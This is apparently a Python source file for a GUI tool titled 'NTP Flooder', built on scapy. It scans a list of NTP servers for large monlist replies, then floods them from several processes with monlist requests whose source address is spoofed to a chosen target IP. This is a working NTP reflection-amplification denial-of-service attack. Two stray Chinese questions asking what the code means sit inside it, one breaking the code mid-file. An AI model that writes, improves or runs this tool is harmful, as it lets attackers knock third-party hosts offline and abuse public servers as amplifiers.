import base64
import tkinter as tk
from collections import Counter
from multiprocessing import Process, Value, freeze_support
from tkinter import filedialog, messagebox, scrolledtext
import threading
import time
from scapy.all import *
from logo import *
sending = Value('i', 0)
def stop_filter(stop_event):
return stop_event.is_set()
def sniffer(collected_ips, all_packets, stop_event, adepter):
# Sniffs incoming network traffic on UDP port 123
sniff(filter="udp port 123", store=0, prn=lambda p: analyser(p, collected_ips, all_packets),
iface="WLAN", stop_filter=lambda x: stop_filter(stop_event))
def analyser(packet, collected_ips, all_packets):
if len(packet) > 200 and packet.haslayer(IP):
ip_src = packet.getlayer(IP).src
all_packets.append(ip_src)
if ip_src not in collected_ips:
collected_ips.append(ip_src)
def get_available_monlist_servers(monlist_path, scantimes=2, fliter_magnification='1', adepter="WLAN", scandelay=0.02):
collected_ips = [] # List to store collected IPs
all_packets = []
stop_event = threading.Event() # Create a stop event
# Start the sniffer thread
sniffer_thread = threading.Thread(target=sniffer, args=(collected_ips, all_packets, stop_event, adepter))
sniffer_thread.start()
# Send packets to each address from the monlist file
for i in range(scantimes):
with open(monlist_path, 'r', encoding='utf-8') as logfile:
for address in logfile:
address = address.strip()
send(IP(dst=address) / UDP(sport=123, dport=123) / Raw(load=b"\x10\x00\x03\x20" + b"\x00" * 44),
verbose=0, iface=adepter)
time.sleep(scandelay)
time.sleep(5)
# Set the stop event to signal the sniffer to stop
stop_event.set()
# send a packet to trigger the stop event
send(IP(dst="127.0.0.1") / UDP(sport=123, dport=123) / Raw(load="shutdown"), iface=adepter, verbose=0)
# Wait for the sniffer thread to finish
sniffer_thread.join()
count = Counter(all_packets)
# 排序完成
# 筛选出发包次数较多的反弹服务器
if fliter_magnification == 'disable':
sorted_count = list(dict(sorted(count.items(), key=lambda item: item[1], reverse=True)).keys())
return sorted_count, sorted_count
result = list(dict(
sorted(((key, value) for key, value in count.items() if value > int(fliter_magnification) * scantimes),
key=lambda item: item[1], reverse=True)).keys())
return result, result # Return the collected IPs list
分析这段代码
def send_packets_(text, target_ip, target_port, sending, adepter):
ntp_servers = text.split('\n')
if target_port == 'random':
while sending.value:
mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(1, 65535), dport=123) / Raw(
load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
send(mpacket, verbose=0, iface=adepter)
elif '-' in target_port:
ports = target_port.split('-')
print(ports)
while sending.value:
mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=random.randint(int(ports[0]), int(ports[1])),
dport=123) / Raw(
load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
send(mpacket, verbose=0, iface=adepter)
else:
mpacket = IP(src=target_ip, dst=ntp_servers) / UDP(sport=int(target_port), dport=123) / Raw(
load=b"\x10\x00\x03\x2a" + b"\x00" * 44)
while sending.value:
send(mpacket, verbose=0, iface=adepter)
class PacketSenderApp:
def __init__(self, master):
self.master = master
self.master.title("NTP Flooder")
# Variables
self.scandelay = tk.DoubleVar(value=0.02)
self.scantimes = tk.IntVar(value=2)
self.adepter = tk.StringVar(value='WLAN')
self.monlist_path = tk.StringVar()
self.target_ip = tk.StringVar(value = get_if_addr('WLAN'))
self.process_count = tk.IntVar(value=1)
self.target_port = tk.StringVar(value='random')
self.check_servers = tk.BooleanVar()
self.magnification = tk.StringVar(value='disable')
# UI Elements
tk.Label(master, text="Monlist File:").grid(row=0, column=0)
tk.Entry(master, textvariable=self.monlist_path).grid(row=0, column=1)
tk.Button(master, text="Browse", command=self.browse_monlist).grid(row=0, column=2)
tk.Label(master, text="Target IP:").grid(row=1, column=0)
tk.Entry(master, textvariable=self.target_ip).grid(row=1, column=1)
tk.Label(master, text="Target port:").grid(row=2, column=0)
tk.Entry(master, textvariable=self.target_port).grid(row=2, column=1)
tk.Label(master, text="Process Count:").grid(row=3, column=0)
tk.Entry(master, textvariable=self.process_count).grid(row=3, column=1)
self.start_button = tk.Button(master, text="Start Sending", command=self.start_stop_sending)
self.start_button.grid(row=4, columnspan=3)
self.check_button = tk.Button(master, text="Check Available Servers", command=self.check_available_servers)
self.check_button.grid(row=5, columnspan=3)
# 文本框：显示可用的 NTP 服务器
self.server_text = scrolledtext.ScrolledText(master, width=40, height=10)
self.server_text.grid(row=6, columnspan=3)
tk.Label(master, text="Magnification filter:").grid(row=7, column=0)
tk.Entry(master, textvariable=self.magnification).grid(row=7, column=1)
tk.Label(master, text="Net Adepter").grid(row=8, column=0)
tk.Entry(master, textvariable=self.adepter).grid(row=8, column=1)
tk.Label(master, text="Scan times").grid(row=9, column=0)
tk.Entry(master, textvariable=self.scantimes).grid(row=9, column=1)
tk.Label(master, text="Scan Delay(s)").grid(row=10, column=0)
tk.Entry(master, textvariable=self.scandelay).grid(row=10, column=1)
self.is_sending = 0
self.master.protocol("WM_DELETE_WINDOW", self.on_closing)
def on_closing(self):
if self.is_sending:
if messagebox.askyesno("Confirm", "Packets are currently being sent. Do you really want to exit?"):
self.is_sending = 0
sending.value = 0
self.master.destroy() # 关闭窗口
else:
self.master.destroy() # 直接关闭窗口
def browse_monlist(self):
file_path = filedialog.askopenfilename(filetypes=[("Text files", "*.txt")])
self.monlist_path.set(file_path)
if not os.path.exists(self.monlist_path.get()):
return
with open(file_path, 'r', encoding='utf-8') as f:
self.server_text.delete(1.0, tk.END)
self.server_text.insert(tk.END, f.read())
def start_stop_sending(self):
if not self.is_sending:
process_count = self.process_count.get()
self.is_sending = 1
self.start_button.config(text="Stop Sending")
text = self.server_text.get(1.0, tk.END)
target_ip = self.target_ip.get()
target_port = self.target_port.get()
sending.value = 1
for i in range(process_count):
Process(target=send_packets_, args=(text, target_ip, target_port, sending, self.adepter.get())).start()
else:
self.is_sending = 0
sending.value = 0
self.start_button.config(text="Start Sending")
def check_available_servers(self):
monlist_path = self.monlist_path.get()
_, servers = get_available_monlist_servers(monlist_path, fliter_magnification=self.magnification.get(),
adepter=self.adepter.get(), scandelay=self.scandelay.get(),
scantimes=self.scantimes.get()) # 假设这个函数返回可用的服务器列表
self.server_text.delete(1.0, tk.END) # 清空文本框
for server in servers:
self.server_text.insert(tk.END, f"{server}\n") # 在文本框中添加可用服务器
return servers
if __name__ == "__main__":
freeze_support()
root = tk.Tk()
icon = open("gui_icon.ico", "wb+")
icon.write(base64.b64decode(img)) # 写入到临时文件中
icon.close()
root.iconbitmap("gui_icon.ico")
os.remove("gui_icon.ico")
app = PacketSenderApp(root)
root.mainloop()这段代码是什么意思
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